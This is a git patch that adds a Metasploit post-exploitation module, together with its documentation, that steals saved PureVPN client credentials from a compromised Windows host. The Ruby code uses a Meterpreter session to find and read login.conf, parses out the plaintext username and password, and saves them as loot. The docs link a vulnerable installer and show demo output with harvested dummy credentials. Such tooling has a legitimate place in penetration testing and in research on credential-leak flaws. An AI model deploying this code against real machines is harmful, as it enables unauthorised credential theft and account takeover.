From 23cbfd548a8c41b6b52892dc9221e172db0a1989 Mon Sep 17 00:00:00 2001 From: Wei Chen Date: Tue, 27 Nov 2018 17:42:23 -0600 Subject: [PATCH] Land #10716, Create PureVPN Credential Collector Post Explotation Module --- .../credentials/purevpn_cred_collector.md | 35 +++++ .../credentials/purevpn_cred_collector.rb | 133 ++++++++++++++++++ 2 files changed, 168 insertions(+) create mode 100644 documentation/modules/post/windows/gather/credentials/purevpn_cred_collector.md create mode 100644 modules/post/windows/gather/credentials/purevpn_cred_collector.rb diff --git a/documentation/modules/post/windows/gather/credentials/purevpn_cred_collector.md b/documentation/modules/post/windows/gather/credentials/purevpn_cred_collector.md new file mode 100644 index 0000000000..188cd99fbd --- /dev/null +++ b/documentation/modules/post/windows/gather/credentials/purevpn_cred_collector.md @@ -0,0 +1,35 @@ +# Intro + +This module allows you to collect login information for PureVPN client, specifically the `login.conf` file. + +# Vulnerable Application + +Versions before 6.0 should be vulnerable. For testing purposes, you may find the vulnerable version here: + +* [https://jumpshare.com/v/LZcpUqJcThY1v7WlH95m](https://jumpshare.com/v/LZcpUqJcThY1v7WlH95m) +* [https://s3.amazonaws.com/purevpn-dialer-assets/windows/app/purevpn_setup.exe](https://s3.amazonaws.com/purevpn-dialer-assets/windows/app/purevpn_setup.exe) + +# Options + +**RPATH** + +You may manually set the `RPATH` datastore option to allow the post module to find the installed +directory of PureVPN. + +# Demo + +``` +msf5 post(windows/gather/credentials/purevpn_cred_collector) > rerun +[*] Reloading module... + +[*] Searching PureVPN Client installation at C:\ProgramData +[*] Found PureVPN Client installation at C:\ProgramData +[*] Checking for login configuration at: C:\ProgramData\purevpn\config\ +[*] Configuration file found: C:\ProgramData\purevpn\config\login.conf +[*] Found PureVPN login configuration on DESKTOP-AFMF2QU via session ID: 1 +[+] Collected the following credentials: +[+] Username: asfafsdas +[+] Password: 23423423 +[*] PureVPN credentials saved in: /Users/wchen/.msf4/loot/20181127162258_default_172.16.249.215_PureVPN.creds_515624.txt +[*] Post module execution completed +``` diff --git a/modules/post/windows/gather/credentials/purevpn_cred_collector.rb b/modules/post/windows/gather/credentials/purevpn_cred_collector.rb new file mode 100644 index 0000000000..dbe9d16604 --- /dev/null +++ b/modules/post/windows/gather/credentials/purevpn_cred_collector.rb @@ -0,0 +1,133 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Post + include Msf::Post::Windows::Registry + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Windows Gather PureVPN Client Credential Collector', + 'Description' => %q{ + Finds the password stored for the PureVPN Client. + }, + 'References' => + [ + ['URL', 'https://www.trustwave.com/Resources/SpiderLabs-Blog/Credential-Leak-Flaws-in-Windows-PureVPN-Client/'], + ['URL', 'https://www.trustwave.com/Resources/Security-Advisories/Advisories/TWSL2018-010/?fid=11779'] + ], + 'License' => MSF_LICENSE, + 'Author' => ['Manuel Nader #AgoraSecurity'], + 'Platform' => ['win'], + 'Arch' => [ARCH_X86, ARCH_X64], + 'SessionTypes' => ['meterpreter'] + )) + + register_options( + # In case software is installed in a rare directory + [OptString.new('RPATH', [false, 'Path of the PureVPN Client installation']) + ]) + end + + def run + if session.type != 'meterpreter' + print_error ('Only meterpreter sessions are supported by this post module') + return + end + + locations = get_locations + content = get_content(locations) + if content && content !~ /^\-1\r\n$/ + get_client_creds(content) + else + print_status("No username/password found") + end + end + + def get_locations + progfiles_env = session.sys.config.getenvs('ProgramData') + locations = [] + progfiles_env.each do |_k, v| + vprint_status("Searching PureVPN Client installation at #{v}") + if session.fs.dir.entries(name = v).include? 'purevpn' + vprint_status("Found PureVPN Client installation at #{v}") + locations << v + '\\purevpn\\config\\' + end + end + keys = [ + 'HKLM\\SOFTWARE\\WOW6432Node\\OpenVPN', # 64 bit + # 'HKLM\\SOFTWARE\\OpenVPN' # 32 bit + ] + + if datastore['RPATH'].nil? + locations << datastore['RPATH'] + end + + keys.each do |key| + begin + root_key, base_key = session.sys.registry.splitkey(key) + value = session.sys.registry.query_value_direct(root_key, base_key, 'config_dir') + rescue Rex::Post::Meterpreter::RequestError => e + vprint_error(e.message) + next + end + locations << value.data + '\\' + end + locations.compact.uniq! + return locations + end + + def get_content(locations) + datfile = 'login.conf' + locations.each do |location| + vprint_status("Checking for login configuration at: #{location}") + begin + files = session.fs.dir.entries(location) + files.map{|i| i.downcase}.uniq + if files.include?(datfile) + filepath = location + datfile + print_status("Configuration file found: #{filepath}") + print_status("Found PureVPN login configuration on #{sysinfo['Computer']} via session ID: #{session.sid}") + data = session.fs.file.open(filepath) + return data.read + end + rescue Rex::Post::Meterpreter::RequestError => e + vprint_error(e.message) + next + end + end + + nil + end + + def parse_file(data) + username, password = data.split("\r\n") + creds = {'username' => username, 'password' => password} + print_good('Collected the following credentials:') + print_good(" Username: #{username}") + print_good(" Password: #{password}") + + creds + end + + def report_cred(creds) + # report the goods! + loot_path = store_loot('PureVPN.creds', 'text/xml', session, creds.to_xml, + 'purevpn_credentials.xml', 'PureVPN Credentials') + print_status("PureVPN credentials saved in: #{loot_path}") + end + + def get_client_creds(data) + credentials = Rex::Text::Table.new( + 'Header' => 'PureVPN Client Credentials', + 'Indent' => 1, + 'Columns' => + [ + 'Username', + 'Password' + ]) + result = parse_file(data) + report_cred(result) + end +end